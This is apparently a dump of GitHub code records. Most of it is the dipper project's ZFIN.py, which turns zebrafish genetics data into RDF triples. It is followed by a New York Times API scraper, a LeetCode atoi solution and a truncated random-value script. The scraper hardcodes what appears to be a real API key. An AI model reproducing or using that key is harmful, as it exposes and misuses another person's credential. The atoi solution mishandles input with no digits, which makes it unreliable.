pheno_enviro method.\n\n Morpholinos work similar to RNAi.\n TALENs are artificial restriction enzymes\n that can be used for genome editing in situ.\n CRISPRs are knockdown reagents, working similar to RNAi\n but at the transcriptional level instead of mRNA level.\n\n You can read more about TALEN and CRISPR techniques in review\n [Gaj et al]\n http://www.cell.com/trends/biotechnology/abstract/S0167-7799%2813%2900087-5\n\n TODO add sequences\n\n Triples created:\n is a gene_targeting_reagent\n rdfs:label \n has type \n has comment \n\n is an individual\n mentions \n :param reagent_type: should be one of: morph, talen, crispr\n :param limit:\n :return:\n\n \"\"\"\n\n logger.info(\"Processing Gene Targeting Reagents\")\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n line_counter = 0\n model = Model(graph)\n geno = Genotype(graph)\n\n if reagent_type not in ['morph', 'talen', 'crispr']:\n logger.error(\"You didn't specify the right kind of file type.\")\n return\n\n raw = '/'.join((self.rawdir, self.files[reagent_type]['file']))\n with open(raw, 'r', encoding=\"iso-8859-1\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n\n if reagent_type in ['morph', 'crispr']:\n try:\n (gene_num, gene_so_id, gene_symbol, reagent_num,\n reagent_so_id, reagent_symbol, reagent_sequence,\n publication, note) = row\n except ValueError:\n # Catch lines without publication or note\n (gene_num, gene_so_id, gene_symbol, reagent_num,\n reagent_so_id, reagent_symbol, reagent_sequence,\n publication) = row\n elif reagent_type == 'talen':\n (gene_num, gene_so_id, gene_symbol, reagent_num,\n reagent_so_id, reagent_symbol, reagent_sequence,\n reagent_sequence2, publication, note) = row\n else:\n # should not get here\n return\n\n reagent_id = 'ZFIN:' + reagent_num.strip()\n gene_id = 'ZFIN:' + gene_num.strip()\n\n self.id_label_map[reagent_id] = reagent_symbol\n\n if self.testMode and (\n reagent_num not in self.test_ids['morpholino'] and\n gene_num not in self.test_ids['gene']):\n continue\n\n geno.addGeneTargetingReagent(reagent_id, reagent_symbol,\n reagent_so_id, gene_id)\n # The reagent targeted gene is added\n # in the pheno_environment processing function.\n\n # Add publication\n # note that the publications can be comma-delimited,\n # like: ZDB-PUB-100719-4,ZDB-PUB-130703-22\n if publication != '':\n pubs = re.split(r',', publication.strip())\n for pub in pubs:\n pub_id = 'ZFIN:' + pub.strip()\n ref = Reference(graph, pub_id)\n ref.addRefToGraph()\n graph.addTriple(pub_id, self.globaltt['mentions'], reagent_id)\n\n # Add comment?\n if note != '':\n model.addComment(reagent_id, note)\n\n # use the variant hash for reagents to list the affected genes\n if reagent_id not in self.variant_loci_genes:\n self.variant_loci_genes[reagent_id] = [gene_id]\n else:\n if gene_id not in self.variant_loci_genes[reagent_id]:\n self.variant_loci_genes[reagent_id] += [gene_id]\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n logger.info(\"Done with Reagent type %s\", reagent_type)\n return\n\n def _process_pheno_enviro(self, limit=None):\n \"\"\"\n The pheno_environment.txt (became pheno_environment_fish.txt?)\n file ties experimental conditions\n to an environment ID.\n An environment ID may have one or more associated conditions.\n Condition groups present:\n * chemical, physical, physiological,\n * salinity, temperature, _Generic-control\n\n First, we build a nice human-readable label\n of all of the components of the environment.\n This is added to our global id-label hash.\n TODO\n Eventually, we will add each component of the environment\n to an environmental object, but needs to be modeled first\n\n Triples created:\n is an Individual\n rdfs:label \n has type GENO:environment\n\n :param limit:\n :return:\n\n \"\"\"\n\n logger.info(\"Processing environments\")\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n line_counter = 0\n env_hash = {}\n envo = Environment(graph)\n # pp = pprint.PrettyPrinter(indent=4)\n\n raw = '/'.join((self.rawdir, self.files['enviro']['file']))\n with open(raw, 'r', encoding=\"iso-8859-1\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n\n # (environment_num, condition_group,\n # condition, description, blank) = row\n (environment_id,\n zeco_term_name, zeco_term_id,\n chebi_term_name, chebi_term_id,\n zfa_term_name, zfa_term_id,\n altered_structure_name, altered_structure_id,\n ncbi_taxon_name, ncbi_taxon_id) = row\n\n environment_id = 'ZFIN:' + environment_id.strip()\n if self.testMode and environment_id not in self.test_ids['environment']:\n continue\n\n # We can start to build the extrinsic genotype using this file.\n # A single environment can have >1 row in the file,\n # so we build a hash to store all the components of\n # the environment first.\n # Then we can build a label containing all the parts.\n # Using a strategy similar to what is used for genotypes\n # to get the VSLCs and GVCs.\n\n if environment_id not in env_hash:\n env_hash[environment_id] = []\n\n # create environmental components, and add to the hash\n # cleanup the \"condition\" to remove non-id-friendly chars\n cond_id = zeco_term_id.strip()\n cond_id = re.sub(r'\\W+', '-', cond_id)\n\n # TODO Matt re model\n # description is gone\n # condition is gone\n # condition_group is gone\n # subcond_id = description.strip()\n # subcond_id = re.sub(r'\\W+', '-', subcond_id)\n # env_component_id = '-'.join((condition_group.strip(),\n # cond_id.strip()))\n # if subcond_id != '':\n # env_component_id = '-'.join((env_component_id, subcond_id))\n # make them blank nodes\n # env_component_id = '_:' + env_component_id\n # env_condition = condition.strip()\n # env_component_label = condition_group + '[' + condition + ']'\n # if description != '':\n # env_component_label += ': ' + description\n\n # self.id_label_map[env_component_id] = env_component_label\n # env_hash[environment_id] += [env_component_id]\n\n # if environment_id not in enviro_label_hash:\n # enviro_label_hash[environment_id] = [env_component_id]\n # else:\n # enviro_label_hash[environment_id].append(env_component_id)\n\n # add each component to the environment as a part\n # envo.addEnvironmentalCondition(\n # env_component_id, env_component_label)\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n # End of loop through pheno_env file\n\n csvfile.close()\n\n logger.info(\"Building complex environments from components\")\n\n self.environment_hash = env_hash\n\n # iterate through the env hash to build the full environment label\n for env_id in env_hash:\n environment_labels = []\n env_hash[env_id].sort()\n env_component_list = env_hash[env_id]\n for env_comp_id in env_component_list:\n env_comp_label = self.id_label_map[env_comp_id]\n environment_labels += [env_comp_label]\n envo.addComponentToEnvironment(env_id, env_comp_id)\n environment_labels.sort()\n env_label = 'Environment that includes: ' + '; '.join(environment_labels)\n envo.addEnvironment(env_id, env_label)\n self.id_label_map[env_id] = env_label\n\n logger.info(\"Done with environments\")\n\n return\n\n def _process_mappings(self, limit=None):\n \"\"\"\n This function imports linkage mappings of various entities\n to genetic locations in cM or cR.\n Entities include sequence variants, BAC ends, cDNA, ESTs, genes,\n PAC ends, RAPDs, SNPs, SSLPs, and STSs.\n Status: NEEDS REVIEW\n :param limit:\n :return:\n\n \"\"\"\n\n logger.info(\"Processing chromosome mappings\")\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n line_counter = 0\n model = Model(graph)\n geno = Genotype(graph)\n raw = '/'.join((self.rawdir, self.files['mappings']['file']))\n\n taxon_num = '7955'\n taxon_id = 'NCBITaxon:' + taxon_num\n taxon_label = 'Danio rerio'\n # genome_id = geno.makeGenomeID(taxon_id)\n geno.addGenome(taxon_id, taxon_label)\n\n with open(raw, 'r', encoding=\"iso-8859-1\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n\n (zfin_num, symbol, so_id, panel_symbol,\n chromosome, location, metric\n # , empty\n ) = row\n\n if self.testMode and zfin_num \\\n not in self.test_ids['gene'] + self.test_ids['allele']:\n continue\n\n zfin_id = 'ZFIN:' + zfin_num.strip()\n if re.match(r'ZDB-GENE.*', zfin_num):\n # assume type and label get added elsewhere\n model.addClassToGraph(zfin_id, None)\n geno.addTaxon(taxon_id, zfin_id)\n elif re.match(r'ZDB-ALT.*', zfin_num):\n # assume type and label get added elsewhere\n model.addIndividualToGraph(zfin_id, None)\n geno.addTaxon(taxon_id, zfin_id)\n else:\n continue\n # skip any of the others\n # ZFIN don't catalog non-fish things, thankfully\n model.makeLeader(zfin_id)\n # make the chromosome class\n chr_id = makeChromID(chromosome, taxon_id, 'CHR')\n # chr_label = makeChromLabel(chromosome, taxon_label)\n geno.addChromosomeClass(chromosome, taxon_id, taxon_label)\n\n pinfo = self._get_mapping_panel_info(panel_symbol)\n panel_label = ' '.join((panel_symbol, pinfo['type'], 'map'))\n if pinfo is not None:\n # add the panel as a genome build\n panel_id = 'ZFIN:' + pinfo['id']\n geno.addReferenceGenome(panel_id, panel_label, taxon_id)\n model.addSynonym(panel_id, panel_symbol)\n model.addDescription(panel_id, pinfo['name'])\n\n # add the mapping-panel chromosome\n chr_inst_id = makeChromID(chromosome, panel_id, 'MONARCH')\n geno.addChromosomeInstance(\n chromosome, panel_id, panel_label, chr_id)\n # add the feature to the mapping-panel chromosome\n feat = Feature(graph, zfin_id, None, None)\n feat.addSubsequenceOfFeature(chr_inst_id)\n # TODO add the coordinates see:\n # https://github.com/JervenBolleman/FALDO/issues/24\n else:\n logger.error(\n \"There's a panel (%s) we don't have info for\", panel_symbol)\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n logger.info(\"Done with chromosome mappings\")\n return\n\n def _process_uniprot_ids(self, limit=None):\n \"\"\"\n This method processes the mappings from ZFIN gene IDs to UniProtKB IDs.\n\n Triples created:\n a class\n rdfs:label gene_symbol\n\n is an Individual\n has type \n\n has_gene_product \n :param limit:\n :return:\n\n \"\"\"\n\n logger.info(\"Processing UniProt IDs\")\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n line_counter = 0\n model = Model(graph)\n geno = Genotype(graph)\n raw = '/'.join((self.rawdir, self.files['uniprot']['file']))\n with open(raw, 'r', encoding=\"iso-8859-1\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n\n (gene_id, gene_so_id, gene_symbol, uniprot_id\n # , empty\n ) = row\n\n if self.testMode and gene_id not in self.test_ids['gene']:\n continue\n\n gene_id = 'ZFIN:' + gene_id.strip()\n uniprot_id = 'UniProtKB:' + uniprot_id.strip()\n\n geno.addGene(gene_id, gene_symbol)\n # TODO: Abstract to one of the model utilities\n model.addIndividualToGraph(\n uniprot_id, None, self.globaltt['polypeptide'])\n graph.addTriple(\n gene_id, self.globaltt['has gene product'], uniprot_id)\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n logger.info(\"Done with UniProt IDs\")\n return\n\n def _process_human_orthos(self, limit=None):\n \"\"\"\n This table provides ortholog mappings between zebrafish and humans.\n ZFIN has their own process of creating orthology mappings,\n that we take in addition to other orthology-calling sources\n (like PANTHER). We ignore the omim ids, and only use the gene_id.\n\n Triples created:\n a class\n rdfs:label gene_symbol\n dc:description gene_name\n\n a class\n rdfs:label gene_symbol\n dc:description gene_name\n equivalent class \n\n orthology association \n :param limit:\n :return:\n\n \"\"\"\n\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n\n logger.info(\"Processing human orthos\")\n line_counter = 0\n geno = Genotype(graph)\n # model = Model(graph) # unused\n raw = '/'.join((self.rawdir, self.files['human_orthos']['file']))\n with open(raw, 'r', encoding=\"iso-8859-1\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n (zfin_id, zfin_symbol, zfin_name, human_symbol, human_name,\n omim_id, gene_id, hgnc_id, evidence_code, pub_id\n # , empty\n ) = row\n if self.testMode and zfin_id not in self.test_ids['gene']:\n continue\n\n # Add the zebrafish gene.\n zfin_id = 'ZFIN:' + zfin_id.strip()\n geno.addGene(zfin_id, zfin_symbol, None, zfin_name)\n\n # Add the human gene.\n gene_id = 'NCBIGene:' + gene_id.strip()\n geno.addGene(gene_id, human_symbol, None, human_name)\n\n # make the association\n assoc = OrthologyAssoc(graph, self.name, zfin_id, gene_id)\n # we don't know anything about the orthology type,\n # so we just use the default\n\n if re.match(r'ZDB', pub_id):\n assoc.add_source('ZFIN:'+pub_id)\n\n eco_id = self.get_orthology_evidence_code(evidence_code)\n if eco_id is not None:\n assoc.add_evidence(eco_id)\n\n assoc.add_association_to_graph()\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n logger.info(\"Done with human orthos\")\n return\n\n def _process_gene_coordinates(self, limit=None):\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n\n logger.info(\"Processing human orthos\")\n line_counter = 0\n geno = Genotype(graph)\n\n model = Model(graph)\n raw = '/'.join((self.rawdir, self.files['gene_coordinates']['file']))\n with open(raw, 'r', encoding=\"iso-8859-1\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n if re.match(r'^(\\s|#|$)', ''.join(row)):\n continue # skip header\n (chrom, source, ftype, start, end, score,\n strand, phase, attributes) = row\n\n gene_id = None\n if attributes == '':\n continue\n else:\n attribute_dict = dict(\n item.split(\"=\")\n for item in re.sub(r'\"', '', attributes).split(\";\"))\n gene_id = attribute_dict.get('gene_id')\n\n if self.testMode and gene_id not in self.test_ids['gene']:\n continue\n gene_id = 'ZFIN:' + gene_id\n\n # make chrom\n chrom_id = makeChromID(chrom, self.globaltt['Danio rerio'], 'CHR')\n # assume it gets added elsewhere\n model.addClassToGraph(chrom_id, None)\n # FIXME - remove this hardcoding\n build_label = 'danRer10'\n build_id = 'UCSC:'+build_label\n chrom_in_build = makeChromID(chrom, build_id, 'MONARCH')\n geno.addChromosomeInstance(\n chrom, build_id, build_label, chrom_id)\n feat = Feature(graph, gene_id, None, None)\n feat.addFeatureStartLocation(start, chrom_in_build, strand)\n feat.addFeatureEndLocation(end, chrom_in_build, strand)\n feat.addFeatureToGraph(True, None, True)\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n logger.info(\"Done with gene coordinates\")\n\n return\n\n def process_fish_disease_models(self, limit=None):\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n\n logger.info(\"Processing fish models\")\n line_counter = 0\n fish_taxon = self.globaltt['Danio rerio']\n geno = Genotype(graph)\n model = Model(graph)\n raw = '/'.join(\n (self.rawdir, self.files['fish_disease_models']['file']))\n with open(raw, 'r', encoding=\"iso-8859-1\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n if re.match(r'^(\\s|#|$)', ''.join(row)):\n continue # skip header\n # ZDB-FISH-150901-9014\n # ZDB-EXP-041102-1\n # is_a_model\n # DOID:5603\n # acute T cell leukemia\n # ZDB-PUB-110523-12\n # 21552289\n # TAS, ECO:0000033\n # \n (fish, environment, rel, disease_id, disease_label,\n zfin_pub_id, pubmed_id, evidence_code\n # , empty\n ) = row\n\n if self.testMode and (\n fish not in self.test_ids['fish'] and\n disease_id not in self.test_ids['disease']):\n continue\n\n # if no fish is listed, then don't add it.\n if fish == '':\n continue\n\n # make effective genotype = fish+environment\n fish_id = 'ZFIN:'+fish\n fish_label = self.id_label_map.get(fish_id)\n if fish_label is None:\n fish_label = fish_id\n environment_id = 'ZFIN:'+environment\n environment_label = self.id_label_map.get(environment_id)\n if environment_label is None:\n environment_label = environment_id\n geno.make_experimental_model_with_genotype(\n fish_id, fish_label, fish_taxon, 'zebrafish')\n\n assoc = Assoc(graph, self.name)\n\n assoc.set_subject(fish_id)\n assoc.set_object(disease_id)\n assoc.set_relationship(self.globaltt['is model of'])\n desc = ' '.join((\n 'A fish with genotype', fish_label,\n 'is a model for disease', disease_label,\n 'under the condition of', environment_label))\n assoc.set_description(desc)\n\n if zfin_pub_id != '':\n assoc.add_source('ZFIN:'+zfin_pub_id)\n\n # make the pubmed id, if it exists\n if pubmed_id != '':\n pubmed_id = 'PMID:'+pubmed_id\n model.addSameIndividual('ZFIN:'+zfin_pub_id, pubmed_id)\n model.makeLeader(pubmed_id)\n assoc.add_association_to_graph()\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n return\n\n def _map_sextuple_to_phenotype(\n self, superterm1_id, subterm1_id, quality_id, superterm2_id,\n subterm2_id, modifier):\n \"\"\"\n This will take the 6-part EQ-style annotation\n used by ZFIN and return the ZP id.\n Currently relies on an external mapping file,\n but the method may be swapped out in the future\n :param superterm1_id:\n :param subterm1_id:\n :param quality_id:\n :param superterm2_id:\n :param subterm2_id:\n :param modifier:\n :return: ZP id\n \"\"\"\n zp_id = None\n\n # zfin uses free-text modifiers,\n # but we need to convert them to proper PATO classes for the mapping\n mod_id = self.resolve(modifier, False)\n\n if modifier == mod_id:\n logger.warning(\"no mapping for pato modifier \" + modifier)\n\n key = self._make_zpkey(\n superterm1_id, subterm1_id, quality_id,\n superterm2_id, subterm2_id, mod_id)\n mapping = self.zp_map.get(key)\n\n if mapping is None:\n if modifier == 'normal':\n pass\n # logger.info(\"Normal phenotypes not yet supported\")\n else:\n logger.warning(\n \"Couldn't map ZP id to %s with modifier %s\", \"_\"\n .join((\n superterm1_id, subterm1_id, quality_id,\n superterm2_id, subterm2_id, mod_id)), modifier)\n else:\n zp_id = mapping['zp_id']\n\n return zp_id\n\n def _load_zp_mappings(self, file):\n \"\"\"\n Given a file that defines the mapping between\n ZFIN-specific EQ definitions and the automatically derived ZP ids,\n create a mapping here.\n This may be deprecated in the future\n :return:\n\n \"\"\"\n zp_map = {}\n logger.info(\"Loading ZP-to-EQ mappings\")\n line_counter = 0\n with open(file, 'r', encoding=\"utf-8\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n (zp_id, zp_label, superterm1_id, subterm1_id, quality_id,\n modifier, superterm2_id, subterm2_id) = row\n key = self._make_zpkey(\n superterm1_id, subterm1_id, quality_id,\n superterm2_id, subterm2_id, modifier)\n zp_map[key] = {\n 'zp_id': zp_id,\n 'label': zp_label,\n 'superterm1_id': superterm1_id,\n 'subterm1_id': subterm1_id,\n 'quality_id': quality_id,\n 'modifier': modifier,\n 'superterm2_id': superterm2_id,\n 'subterm2_id': subterm2_id,\n }\n logger.info(\"Loaded %s zp terms\", zp_map.__len__())\n\n return zp_map\n\n def _make_zpkey(\n self,\n superterm1_id, subterm1_id, quality_id,\n superterm2_id, subterm2_id, modifier):\n key = self.make_id('_'.join((\n superterm1_id, subterm1_id, quality_id,\n superterm2_id, subterm2_id, modifier)))\n return key\n\n @staticmethod\n def _get_other_allele_by_zygosity(allele_id, zygosity):\n \"\"\"\n A helper function to switch on the zygosity,\n and return the appropriate allele id, or symbol.\n :param allele_id:\n :param zygosity:\n :return:\n \"\"\"\n other_allele = None\n if zygosity == 'homozygous':\n other_allele = allele_id\n elif zygosity == 'hemizygous':\n other_allele = '0'\n elif zygosity == 'unknown': # we'll use this as a convention\n other_allele = '?'\n elif zygosity == 'complex': # transgenics\n other_allele = '0'\n elif zygosity == 'heterozygous':\n # passing on hets until a different fxn\n pass\n else:\n logger.warn(\"Unconfigured zygosity: %s\", zygosity)\n\n return other_allele\n\n @staticmethod\n def _get_mapping_panel_info(panel):\n panel_hash = {\n 'HS': {\n 'id': 'ZDB-REFCROSS-000320-1',\n 'name': 'Heat Shock',\n 'type': 'meiotic',\n 'num_meioses': 42},\n 'GAT': {\n 'id': 'ZDB-REFCROSS-990308-7',\n 'name': 'Gates et al',\n 'type': 'meiotic',\n 'num_meioses': 96},\n 'LN54': {\n 'id': 'ZDB-REFCROSS-990426-6',\n 'name': 'Loeb/NIH/5000/4000',\n 'dose': '4000 rads',\n 'type': 'Radiation Hybrid'},\n 'MGH': {\n 'id': 'ZDB-REFCROSS-980521-11',\n 'name': 'Boston MGH Cross',\n 'type': 'meiotic',\n 'num_meioses': 40},\n 'MOP': {\n 'id': 'ZDB-REFCROSS-980526-5',\n 'name': 'Mother of Pearl',\n 'type': 'meiotic',\n 'num_meioses': 96},\n 'T51': {\n 'id': 'ZDB-REFCROSS-990707-1',\n 'name': 'Goodfellow T51',\n 'dose': '3000 rads',\n 'type': 'Radiation Hybrid'},\n }\n p = None\n if panel in panel_hash:\n p = panel_hash[panel]\n\n return p\n\n def _make_variant_locus_id(self, gene_id, allele_id):\n \"\"\"\n A convenience method to uniformly create variant loci.\n If we want to materialize these in the monarch space,\n then we wrap with the self.make_id function.\n :param gene_id:\n :param allele_id:\n :return:\n\n \"\"\"\n\n i = '-'.join((gene_id, allele_id))\n i = '_:' + re.sub(r'(ZFIN)?:', '', i)\n\n return i\n\n def _make_effective_genotype_id(self, intrinsic_id, extrinsic_id):\n effective_genotype_id = self.make_id(\n '-'.join((intrinsic_id, extrinsic_id)))\n\n return effective_genotype_id\n\n def get_orthology_sources_from_zebrafishmine(self):\n \"\"\"\n Fetch the zfin gene to other species orthology annotations,\n together with the evidence for the assertion.\n Write the file locally to be read in a separate function.\n :return:\n\n \"\"\"\n\n # For further documentation you can visit:\n # http://www.intermine.org/wiki/PythonClient\n\n # The following two lines will be needed in every python script:\n service = Service(\"http://zebrafishmine.org/service\")\n\n # Get a new query on the class (table) you will be querying:\n query = service.new_query(\"Gene\")\n\n # The view specifies the output columns\n query.add_view(\n \"primaryIdentifier\", \"symbol\", \"homologues.homologue.symbol\",\n \"homologues.evidence.evidenceCode.abbreviation\",\n \"homologues.evidence.publications.primaryIdentifier\",\n \"homologues.evidence.publications.pubMedId\",\n \"homologues.crossReferences.identifier\",\n # only \"orthologue\" is used\n # \"homologues.crossReferences.linkType\",\n # only needed if >1 source\n # \"homologues.crossReferences.source.name\"\n )\n\n # This query's custom sort order is specified below:\n query.add_sort_order(\"Gene.name\", \"ASC\")\n\n # You can edit the constraint values below\n query.add_constraint(\n \"homologues.dataSets.name\", \"=\",\n \"ZFIN Curated Human, Mouse, Fly, Yeast Orthologue Data Set\",\n code=\"A\")\n query.add_constraint(\n \"homologues.homologue.organism.name\", \"=\",\n \"Homo sapiens\", code=\"B\")\n query.add_constraint(\n \"homologues.crossReferences.source.name\", \"=\",\n \"Gene\", code=\"D\") # NCBIGene\n query.add_constraint(\"symbol\", \"=\", \"*\", code=\"C\")\n\n # Uncomment and edit the code below to specify your own custom logic:\n # query.set_logic(\"C and A and B and D and D\")\n\n self.files['zmine_ortho_evidence'] = {}\n self.files['zmine_ortho_evidence']['file'] = 'zmine_ortho_evidence.txt'\n file = '/'.join(\n (self.rawdir, self.files['zmine_ortho_evidence']['file']))\n with open(file, 'w', encoding=\"utf-8\", newline='\\n') as csvfile:\n filewriter = csv.writer(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in query.rows():\n stuff = [\n row[\"primaryIdentifier\"],\n row[\"symbol\"],\n row[\"homologues.homologue.symbol\"],\n row[\"homologues.crossReferences.identifier\"],\n row[\"homologues.evidence.evidenceCode.abbreviation\"],\n row[\"homologues.evidence.publications.primaryIdentifier\"],\n row[\"homologues.evidence.publications.pubMedId\"],\n # row[\"homologues.crossReferences.linkType\"],\n # row[\"homologues.crossReferences.source.name\"]\n ]\n filewriter.writerow(stuff)\n\n return\n\n def process_orthology_evidence(self, limit):\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n\n logger.info(\"Processing orthology evidence\")\n line_counter = 0\n\n raw = '/'.join((self.rawdir, 'zmine_ortho_evidence.txt'))\n\n with open(raw, 'r', encoding=\"utf-8\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n # no header on this file\n line_counter += 1\n (zfin_gene_num, zfin_gene_symbol, ortholog_gene_symbol,\n ortholog_ncbigene_num, evidence_code, zfin_pub_num,\n pubmed_num) = row\n\n if self.testMode and (zfin_gene_num not in self.test_ids['gene']):\n continue\n\n zfin_gene_id = 'ZFIN:'+str(zfin_gene_num)\n ortho_gene_id = 'NCBIGene:'+str(ortholog_ncbigene_num)\n zfin_pub_id = 'ZFIN:'+zfin_pub_num\n pubmed_id = 'PMID:'+str(pubmed_num)\n if zfin_gene_num != '' and ortholog_ncbigene_num != '':\n assoc = OrthologyAssoc(\n graph, self.name, zfin_gene_id, ortho_gene_id)\n if zfin_pub_num != '':\n ref = Reference(graph, zfin_pub_id)\n ref.addRefToGraph()\n assoc.add_source(zfin_pub_id)\n if pubmed_num != '':\n ref = Reference(\n graph, pubmed_id, self.globaltt['journal article'])\n ref.addRefToGraph()\n assoc.add_source(pubmed_id)\n if evidence_code != '':\n eco_id = self.get_orthology_evidence_code(evidence_code)\n assoc.add_evidence(eco_id)\n\n assoc.add_association_to_graph()\n # FIXME need to update with proper provenance model\n # so the papers get attached with the relevant eco code\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n return\n\n def get_orthology_evidence_code(self, abbrev):\n # AA\tAmino acid sequence comparison.\n # CE\tCoincident expression.\n # CL\tConserved genome location (synteny).\n # FC\tFunctional complementation.\n # FH\tFormation of functional heteropolymers.\n # IX\tImmunological cross-reaction.\n # NS\tNot specified.\n # NT\tNucleotide sequence comparison.\n # SI\tSimilar response to inhibitors.\n # SL\tSimilar subcellular location.\n # SS\tSimilar substrate specificity.\n # SU\tSimilar subunit structure.\n # XH\tCross-hybridization to same molecular probe.\n # PT\tPhylogenetic Tree.\n # OT Other\n\n eco_abbrev_map = {\n 'AA': 'ECO:0000031', # BLAST protein sequence similarity evidence\n 'CE': 'ECO:0000008', # expression evidence\n 'CL': 'ECO:0000044', # sequence similarity FIXME\n 'FC': 'ECO:0000012', # functional complementation\n # functional complementation in a heterologous system\n 'FH': 'ECO:0000064',\n 'IX': 'ECO:0000040', # immunological assay evidence\n 'NS': None,\n 'NT': 'ECO:0000032', # nucleotide blast\n 'SI': 'ECO:0000094', # biological assay evidence FIXME\n 'SL': 'ECO:0000122', # protein localization evidence FIXME\n 'SS': 'ECO:0000024', # protein binding evidence FIXME\n 'SU': 'ECO:0000027', # structural similarity evidence\n 'XH': 'ECO:0000002', # direct assay evidence FIXME\n 'PT': 'ECO:0000080', # phylogenetic evidence\n 'OT': None,\n }\n\n if abbrev not in eco_abbrev_map:\n logger.warning(\"Evidence code for orthology (%s) not mapped\",\n str(abbrev))\n\n return eco_abbrev_map.get(abbrev)\n\n @staticmethod\n def make_targeted_gene_id(geneid, reagentid):\n\n targeted_gene_id = '-'.join((geneid, reagentid))\n # these are not zfin resolvable, so make BNodes\n targeted_gene_id = re.sub(r'(ZFIN)?:', '', targeted_gene_id)\n targeted_gene_id = '_:' + targeted_gene_id\n return targeted_gene_id\n\n def getTestSuite(self):\n import unittest\n from tests.test_zfin import ZFINTestCase\n\n test_suite = unittest.TestLoader().loadTestsFromTestCase(ZFINTestCase)\n\n return test_suite\n\n # #### SOME OLD (COBLO?) CODE #####\n\n# # LINK THE MORPHOLINO TO THE GENES THAT IT AFFECTS\n# AG = SELF.VARIANT_LOCI_GENES.GET(MORPH_ID)\n# # LOGGER.INFO(\"%S AFFECTED GENES %S\", MORPH_ID, PP.PFORMAT(AG))\n# LIST_OF_TARGETED_GENES = []\n# IF AG IS NONE:\n# LOGGER.WARN(\"NO AFFECTED GENES FOR %S\", MORPH_ID)\n# ELSE:\n# # CREATE VARIANT GENE(S) THAT HAVE BEEN TARGETED BY THE REAGENT\n# FOR GID IN AG:\n# IF GID NOT IN SELF.ID_LABEL_MAP:\n# # SHOULD NOT HAPPEN, EXCEPT MAYBE IN TESTING\n# LOGGER.ERROR(\"%S NOT IN ID-LABEL-HASH\", GID)\n# GLABEL = GID\n# ELSE:\n# GLABEL = SELF.ID_LABEL_MAP[GID]\n#\n# TARGETED_GENE_ID = '-'.JOIN((GID, APPLIED_MORPH_ID))\n# # THESE ARE NOT ZFIN RESOLVABLE, SO MAKE BNODES\n# TARGETED_GENE_ID = RE.SUB('(ZFIN)?:', '', TARGETED_GENE_ID)\n# TARGETED_GENE_ID = '_' + TARGETED_GENE_ID\n# IF SELF.NOBNODES:\n# TARGETED_GENE_ID = ':' + TARGETED_GENE_ID\n# TARGETED_GENE_LABEL = GLABEL + '<' + APPLIED_MORPH_LABEL + '>'\n#\n# GENO.ADD(MORPH_ID, GID, TARGETED_GENE_ID, TARGETED_GENE_LABEL)\n# SELF.ID_LABEL_MAP[TARGETED_GENE_ID] = TARGETED_GENE_LABEL\n# LIST_OF_TARGETED_GENES += [TARGETED_GENE_ID]\n","repo_name":"alexgarciac/dipper","sub_path":"dipper/sources/ZFIN.py","file_name":"ZFIN.py","file_ext":"py","file_size_in_byte":119505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"13689621022","text":"import requests\n\n\n\nsivunumero = 0\nwhile (sivunumero < 100):\n sivunumero = sivunumero + 1\n response = requests.get(\"https://api.nytimes.com/svc/search/v2/articlesearch.json?q=Trump+foreign+policy&\"\n \"page={}&begin_date=20150101&end_date=20191120&api-key=2L6CJGmGCgR9YuwGKt7BOAXGpF4sf2pC\" .format(sivunumero))\n print(response.json())\n file = open(\"tulos2.json\", \"a\")\n file.write(str(response.content))\n file.close()","repo_name":"Tommenforest/NYTapi_2.","sub_path":"n.py","file_name":"n.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28160241989","text":"# -*- coding: utf-8 -*-\nimport re\n\ndef myAtoi(s: str) -> int:\n re_complie = re.compile(r\"^[\\+\\-]?[\\d]+\")\n str_ = s.lstrip()\n num = int(*re_complie.findall(str_))\n \n if num < -2**31:\n return -2**31\n elif num > 2**31 - 1:\n return 2**31 - 1\n else:\n return num\n\n\nif __name__ == \"__main__\":\n s = \" -42\"\n s = \"words and 987\"\n myAtoi(s)\n","repo_name":"Lukaschen1986/LeetCodeProgress","sub_path":"string/8_myAtoi.py","file_name":"8_myAtoi.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"69796723684","text":"# Rand val maker of lenth 64 for easy implementation into base64\n# This is good for password generation as well\n\nimport sys\nfrom random 